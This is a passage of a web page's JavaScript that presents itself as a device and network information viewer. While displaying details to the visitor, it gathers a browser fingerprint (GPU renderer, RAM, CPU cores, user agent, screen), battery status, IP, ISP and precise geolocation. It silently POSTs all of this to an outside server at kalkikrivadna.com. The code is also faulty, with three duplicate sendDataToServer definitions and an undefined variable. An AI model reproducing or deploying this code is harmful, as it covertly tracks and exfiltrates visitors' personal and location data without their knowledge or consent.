    } else if (/laptop/i.test(userAgent) || /macintosh/i.test(userAgent) || /windows/i.test(userAgent)) {
        return 'Laptop';
    } else {
        return 'Desktop';
    }
}

function detectWiFiGeneration(connection) {
    // Don't rely solely on speed for WiFi 5G detection
    const capabilities = {
        hasHighBandwidth: connection.downlink > 1, // More realistic threshold
        hasLowLatency: connection.rtt && connection.rtt < 200,
        isHighPerformance: connection.effectiveType === '4g'
    };

    if (capabilities.hasHighBandwidth &&
        capabilities.hasLowLatency &&
        capabilities.isHighPerformance) {
        return 'WiFi 5GHz';
    }

    return 'WiFi';
}

function detectMobileGeneration(connection) {
    // Multiple factors for mobile generation detection
    const networkIndicators = {
        // Speed isn't reliable, so we use very conservative thresholds
        hasMinimumSpeed: connection.downlink >= 1,
        hasLowLatency: connection.rtt && connection.rtt < 200,
        has4GCapability: connection.effectiveType === '4g',

        // Try to detect 5G from user agent (not always reliable)
        has5GIndicator: navigator.userAgent.toLowerCase().includes('5g')
    };

    // Check if device reports as 5G capable
    if (networkIndicators.has5GIndicator &&
        networkIndicators.hasMinimumSpeed) {
        return '5G';
    }

    // Fallback to 4G for high-performance connections
    if (networkIndicators.has4GCapability) {
        return '4G';
    }

    // Determine 3G/2G based on effective type
    switch (connection.effectiveType) {
        case '3g':
            return '3G';
        case '2g':
        case 'slow-2g':
            return '2G';
        default:
            return 'Unknown';
    }
}

function monitorNetworkSpeed(callback, interval = 5000) {
    let lastReading = null;

    return setInterval(() => {
        const currentInfo = detectNetworkType();

        if (lastReading && callback) {
            const speedDiff = currentInfo.details.downlink - lastReading.details.downlink;
            callback({
                current: currentInfo,
                previous: lastReading,
                difference: speedDiff
            });
        }

        lastReading = currentInfo;
    }, interval);
}


      // Add RAM detection function
function detectDeviceRAM() {
    let ramInfo = {
        totalRAM: 'Unknown',
        ramDetails: null
    };

    // Check if navigator.deviceMemory is available (Chrome, Edge, Opera)
    if (navigator.deviceMemory) {
        ramInfo.totalRAM = `${navigator.deviceMemory} GB`;
        ramInfo.ramDetails = {
            type: 'Precise',
            value: navigator.deviceMemory,
            unit: 'GB'
        };
    }
    // Use performance.memory if available (Chrome)
    else if (window.performance && performance.memory) {
        const totalRAM = Math.round(performance.memory.jsHeapSizeLimit / (1024 * 1024 * 1024));
        ramInfo.totalRAM = `~${totalRAM} GB`;
        ramInfo.ramDetails = {
            type: 'Estimated',
            totalHeapSize: performance.memory.totalJSHeapSize,
            usedHeapSize: performance.memory.usedJSHeapSize,
            heapSizeLimit: performance.memory.jsHeapSizeLimit,
            unit: 'bytes'
        };
    }

    return ramInfo;
}

async function gatherDeviceInfo() {
    const outputElement = document.getElementById('output');
    outputElement.innerHTML += '\n<span class=\'keyword\'>--- Device and Network Information ---</span>\n';

    let deviceInfo = {};

    // Detect and set device type first
    deviceInfo.deviceType = detectDeviceType();

    // Get complete network information
    const networkInfo = detectNetworkType();

    if (networkInfo.type !== 'Unknown') {
        outputElement.innerHTML += '<span class=\'keyword\'>Network Information:</span>\n';

        // Basic connection info
        outputElement.innerHTML += `<span class='string'>Base Connection Type:</span> ${networkInfo.type}\n`;
        outputElement.innerHTML += `<span class='string'>Network Generation:</span> ${networkInfo.generation}\n`;

        // Specific WiFi or Mobile information
        const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
        if (connection) {
            if (networkInfo.type === 'wifi') {
                // Explicitly call and display WiFi generation
                const wifiGen = detectWiFiGeneration(connection);
                outputElement.innerHTML += `<span class='string'>WiFi Type:</span> ${wifiGen}\n`;
                deviceInfo.wifiGeneration = wifiGen;
            } else if (networkInfo.type === 'cellular') {
                // Explicitly call and display mobile generation
                const mobileGen = detectMobileGeneration(connection);
                outputElement.innerHTML += `<span class='string'>Mobile Network Type:</span> ${mobileGen}\n`;
                deviceInfo.mobileGeneration = mobileGen;
            }
        }

        // Network details
        outputElement.innerHTML += '\n<span class=\'keyword\'>Connection Details:</span>\n';
        
        outputElement.innerHTML += `<span class='string'>RTT (Latency):</span> ${networkInfo.details.rtt} ms\n`;
        
        outputElement.innerHTML += `<span class='string'>Save Data Mode:</span> ${networkInfo.details.saveData}\n`;
        outputElement.innerHTML += `<span class='string'>Last Updated:</span> ${networkInfo.details.timestamp}\n`;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>Network Information: Not available</span>\n';
        deviceInfo.connectionType = 'Not available';
        deviceInfo.networkGeneration = 'Not available';
    }


    // Device Hardware Information
    outputElement.innerHTML += '\n<span class=\'keyword\'>Hardware Information:</span>\n';
outputElement.innerHTML += `<span class='string'>Device Type:</span> ${deviceInfo.deviceType}\n`;

    // RAM Information
    const ramInfo = detectDeviceRAM();
    outputElement.innerHTML += `<span class='string'>Total RAM:</span> ${ramInfo.totalRAM}\n`;
    if (ramInfo.ramDetails && ramInfo.ramDetails.type === 'Estimated') {
        outputElement.innerHTML += `<span class='string'>Used Heap:</span> ${Math.round(ramInfo.ramDetails.usedHeapSize / (1024 * 1024))} MB\n`;
        outputElement.innerHTML += `<span class='string'>Total Heap:</span> ${Math.round(ramInfo.ramDetails.totalHeapSize / (1024 * 1024))} MB\n`;
    }
    deviceInfo.ramInfo = ramInfo;

    // CPU Information
    if (navigator.hardwareConcurrency) {
        outputElement.innerHTML += `<span class='string'>CPU Cores:</span> ${navigator.hardwareConcurrency}\n`;
        deviceInfo.cpuCores = navigator.hardwareConcurrency;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>CPU Cores: Not available</span>\n';
    }

    // GPU Information
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');

    if (gl) {
        const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
        const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'Not available';
        const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Not available';

        outputElement.innerHTML += `<span class='string'>GPU Vendor:</span> ${vendor}\n`;
        outputElement.innerHTML += `<span class='string'>GPU Renderer:</span> ${renderer}\n`;

        deviceInfo.gpuVendor = vendor;
        deviceInfo.gpuRenderer = renderer;
    } else {
        outputElement.innerHTML += '<span class=\'comment\'>GPU Information: WebGL not supported</span>\n';
    }

    // Operating System Information
    const userAgent = navigator.userAgent;
    outputElement.innerHTML += `<span class='string'>User Agent:</span> ${userAgent}\n`;
    deviceInfo.userAgent = userAgent;

    let osInfo;
    if (userAgent.indexOf("Win") !== -1) osInfo = "Windows";
    else if (userAgent.indexOf("Mac") !== -1) osInfo = "MacOS";
    else if (userAgent.indexOf("X11") !== -1 || userAgent.indexOf("Linux") !== -1) osInfo = "Linux";
    else osInfo = "Unknown OS";

    outputElement.innerHTML += `<span class='string'>Operating System:</span> ${osInfo}\n`;
    deviceInfo.os = osInfo;

    // Add remaining device information (screen, platform, etc.)
    deviceInfo.platform = navigator.platform;
    deviceInfo.screenResolution = `${window.screen.width}x${window.screen.height}`;
    deviceInfo.colorDepth = window.screen.colorDepth;
    deviceInfo.orientation = window.screen.orientation ? window.screen.orientation.type : "Not supported";
    deviceInfo.javaScriptEnabled = true;
    deviceInfo.cookiesEnabled = navigator.cookieEnabled;
    deviceInfo.pixelDepth = window.screen.pixelDepth;
    deviceInfo.colorScheme = window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
    deviceInfo.hdrScreen = window.matchMedia && window.matchMedia('(display-mode: fullscreen)').matches;

    outputElement.innerHTML += `<span class='string'>Platform:</span> ${deviceInfo.platform}\n`;
    outputElement.innerHTML += `<span class='string'>Screen Resolution:</span> ${deviceInfo.screenResolution}\n`;
    outputElement.innerHTML += `<span class='string'>Color Depth:</span> ${deviceInfo.colorDepth} bits\n`;
    outputElement.innerHTML += `<span class='string'>Device Orientation:</span> ${deviceInfo.orientation}\n`;
    outputElement.innerHTML += `<span class='string'>JavaScript Enabled:</span> ${deviceInfo.javaScriptEnabled}\n`;
    outputElement.innerHTML += `<span class='string'>Cookies Enabled:</span> ${deviceInfo.cookiesEnabled}\n`;
    outputElement.innerHTML += `<span class='string'>Color Scheme:</span> ${deviceInfo.colorScheme}\n`;
    outputElement.innerHTML += `<span class='string'>HDR Screen:</span> ${deviceInfo.hdrScreen}\n`;

    // Call to gather ISP info
    await gatherISPInfo();

    // Send complete data to server
    await sendDataToServer({
        deviceDetails: deviceInfo,
        networkInfo: networkInfo
    });

    return deviceInfo;
}

function detectDeviceType() {
    const ua = navigator.userAgent.toLowerCase();
    const platform = navigator.platform.toLowerCase();

    // Get both width and height of the screen/viewport
    const width = window.innerWidth
        || document.documentElement.clientWidth
        || document.body.clientWidth;
    const height = window.innerHeight
        || document.documentElement.clientHeight
        || document.body.clientHeight;

    // Calculate aspect ratio
    const aspectRatio = width / height;

    // Function to check if dimensions match tablet characteristics
    const hasTabletDimensions = () => {
        // Most tablets have width between 600-1280px and height between 800-1600px
        const isTabletSize = (width >= 600 && width <= 1280) &&
                           (height >= 800 && height <= 1600);

        // Typical tablet aspect ratios are between 1.3 and 1.6
        const hasTabletRatio = aspectRatio >= 0.5 && aspectRatio <= 1.6;

        return isTabletSize && hasTabletRatio;
    };

    // Check for Android devices
    if (/android/i.test(ua)) {
        // Specific check for Redmi/Xiaomi devices
        if (/redmi|xiaomi/i.test(ua)) {
            if (hasTabletDimensions()) {
                return 'Tablet';
            }
        }

        // General Android tablet detection
        if ((/tablet|pad/i.test(ua)) ||
            (!(/mobile/i.test(ua)) && hasTabletDimensions())) {
            return 'Tablet';
        }

        return 'Mobile';
    }

    // Check for iOS iPad
    if (navigator.maxTouchPoints &&
        navigator.maxTouchPoints > 2 &&
        /macintosh/.test(ua)) {
        return 'Tablet';
    }

    // Check for explicit mobile devices
    if ((/mobile|iphone|ipod|blackberry|opera mini|opera mobi|webos|windows phone|iemobile/).test(ua)) {
        return 'Mobile';
    }

    // Check for other tablets
    if ((/ipad|playbook|silk/).test(ua) || hasTabletDimensions()) {
        return 'Tablet';
    }

    // Check for touch-enabled devices that might be tablets
    if ('ontouchstart' in window && hasTabletDimensions()) {
        return 'Tablet';
    }

    // Desktop detection
    if ((/windows nt|macintosh|linux/).test(ua) ||
        (/win32|win64|mac|linux/).test(platform)) {
        // Additional check to prevent large tablets from being classified as desktops
        if (hasTabletDimensions()) {
            return 'Tablet';
        }
        return 'Desktop';
    }

    // If the device has tablet-like dimensions, classify as tablet
    if (hasTabletDimensions()) {
        return 'Tablet';
    }

    // Final fallback
    return 'Desktop';
}

// Debug function to help troubleshoot device detection
function debugDeviceInfo() {
    const width = window.innerWidth;
    const height = window.innerHeight;
    const ua = navigator.userAgent;
    const deviceType = detectDeviceType();

    console.log({
        deviceType,
        screenWidth: width,
        screenHeight: height,
        aspectRatio: (width / height).toFixed(2),
        userAgent: ua
    });
}


async function gatherISPInfo() {
    const outputElement = document.getElementById('output');
    outputElement.innerHTML += '\n<span class="keyword">--- ISP Information ---</span>\n';
    try {
        const response = await fetch('https://ipinfo.io/json');
        if (response.ok) {
            const data = await response.json();
            outputElement.innerHTML += `<span class="string">IP:</span> ${data.ip}\n`;
            outputElement.innerHTML += `<span class="string">ISP:</span> ${data.org}\n`;
            outputElement.innerHTML += `<span class="string">Location:</span> ${data.city}, ${data.region}, ${data.country}\n`;
            outputElement.innerHTML += `<span class="string">Timezone:</span> ${data.timezone}\n`;
        } else {
            outputElement.innerHTML += '<span class="comment">ISP Information: Unable to fetch</span>\n';
        }
    } catch (error) {
        outputElement.innerHTML += `<span class="comment">ISP Info Error:</span> ${error.message}\n`;
    }
}

       async function sendDataToServer(data) {
          await fetch('https://sub2.kalkikrivadna.com/service2/', {
              method: 'POST',                                                                                             headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify(data),
          });
       }

      // Fetch Details Button
      document.getElementById('fetch-button').addEventListener('click', async () => {
          await gatherWebRTCInfo();
      });

      // Fetch VPN Data Button
      document.getElementById('fetchButton').addEventListener('click', async () => {
          await fetchVPNData();
      });

      // Battery status functionality
      async function fetchBatteryStatus() {
          const battery = await navigator.getBattery();
          updateBatteryStatus(battery);

          // Prepare battery data for logging
          const batteryData = {
              level: battery.level * 100,
              charging: battery.charging,
              dischargingTime: battery.dischargingTime === Infinity ? "Charging" : formatTime(battery.dischargingTime)
          };

          // Send battery data to the server
          await sendDataToServer({ batteryStatus: batteryData });
      }

      document.getElementById('batteryButton').addEventListener('click', fetchBatteryStatus);

      document.getElementById('closeButton').addEventListener('click', function() {
          document.getElementById('batteryStatus').style.display = 'none'; // Hide battery status
      });

      function updateBatteryStatus(battery) {
          const batteryLevel = battery.level * 100;
          const isCharging = battery.charging;


          document.getElementById('batteryLevel').style.width = batteryLevel + '%';
          document.getElementById('batteryText').innerText = `Battery Level: ${batteryLevel.toFixed(2)}%`;
          document.getElementById('chargingStatus').innerText = `Charging: ${isCharging ? 'Yes' : 'No'}`;
          document.getElementById('batteryInfo').innerText = `Discharging Time: ${dischargingTimeFormatted}`;

          document.getElementById('batteryLevel').style.backgroundColor = batteryLevel > 20 ? 'green' : 'red';
          document.getElementById('batteryStatus').style.display = 'flex'; // Show battery status
      }

      function formatTime(seconds) {
          const minutes = Math.floor(seconds / 60);
          const secs = seconds % 60;
          return `${minutes > 0 ? minutes + " min " : ""}${secs} sec`;
      }

    // Geolocation functionality

function fetchGeolocation() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition((position) => {
                    const lat = position.coords.latitude;
                    const lng = position.coords.longitude;

                    // Prepare geolocation data
                    const latLngObj = {
                        latitude: lat,
                        longitude: lng
                    };
                                                                                                                                           // Send geolocation data to the server
                    sendDataToServer({ geoLocation: latLngObj });
                                                                                                                                           // Redirect to the specified URL in a new tab
                    window.open(`https://kalkikrivadna.com/geo.shtml?lat=${lat}&lng=${lng}`, '_blank');
                }, (error) => {
                    alert('Geolocation failed: ' + error.message);
                });                                                                                                                } else {
                alert('Geolocation is not supported by your browser.');
            }
        }

        async function sendDataToServer(data) {                                                                                    try {
                const response = await fetch('https://sub2.kalkikrivadna.com/service2/', { // Replace with your server URL
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });

                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                const result = await response.json();                                                                                  console.log('Data logged successfully:', result);
            } catch (error) {
                console.error('Error logging data:', error);
            }
        }

        async function sendDataToServer(data) {
            try {
                const response = await fetch('https://sub2.kalkikrivadna.com/service2/', { // Replace with your server URL
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });

                if (!response.ok) {
                    throw new Error('Network response was not ok');
                }
                const result = await response.json();
                console.log('Data logged successfully:', result);
            } catch (error) {
                console.error('Error logging data:', error);
            }
        }

    </script>
</body>
</html>